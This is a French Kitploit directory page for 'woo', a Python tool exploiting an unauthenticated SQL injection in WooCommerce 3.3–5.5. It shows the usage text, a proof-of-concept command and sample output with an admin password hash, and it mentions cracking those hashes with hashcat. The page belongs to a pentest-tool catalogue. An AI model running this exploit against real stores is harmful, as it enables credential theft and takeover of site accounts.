Skip to content
KitploitKITPLOIT
OutilsBlog
Soumettre
OutilsBlog
Soumettre

Outils de Hacking, PenTest et Cybersécurité pour votre Arsenal de Sécurité !

Kitploit est un répertoire d'outils de hacking, de cybersécurité et de pentesting. Découvrez les dernières mises à jour des projets pour trouver des vulnérabilités, analyser des systèmes, automatiser les tests et renforcer votre sécurité.

··Flux·Contact·Confidentialité·© 2026 Kitploit

Répertoire d'outils

Catégories

Voir toutes les catégories
Loading categories
woo — Exploit woocommerce SQLI and grab user and password hash | Kitploit
Outils/GitHubGitHub/randomrobbiebf/woo
Password AttacksExploitationWeb Application ExploitationData ExfiltrationInformation GatheringPenetration Testing
GitHubrandomrobbiebf/woo

woo

Exploit woocommerce SQLI and grab user and password hash

Voir le dépôt
21il y a 5 ansPas encore vérifié

Populaires

Voir tout →

Découvrez les outils les plus utilisés par notre communauté.

Explorer tous les outils

Parcourez notre collection d'outils

Voir tous les outils →
Partager

Woocommerce 3.3 à 5.5 - Injection SQL non authentifiée

https://wpscan.com/vulnerability/1212fec8-1fde-41e5-af70-abdd7ffe5379

Exploite la SQLI de woocommerce et récupère le hash de l'utilisateur et du mot de passe

Commandes

root@kitploit:~
usage: woo.py [-h] [-u URL] [-f FILE] [-p PROXY] [-i WID]

optional arguments:
  -h, --help            show this help message and exit
  -u URL, --url URL     URL to test
  -f FILE, --file FILE  File of urls
  -p PROXY, --proxy PROXY
                        Proxy for debugging
  -i WID, --wid WID     User ID of User

POC

root@kitploit:~
python3 woo.py -u https://www.website.com -i 1
root@kitploit:~
Admin ID: 2
Admin Username: [email protected]
Admin Email Address: [email protected]
Admin Password Hash:$P$BIAtNs11r0CBJZxa3B1JLrFd5C9f7r/

À chaque exécution, cela écrit les hashs dans wphash.has et vous donne une commande hashcat pour les casser.

Télécharger l’outil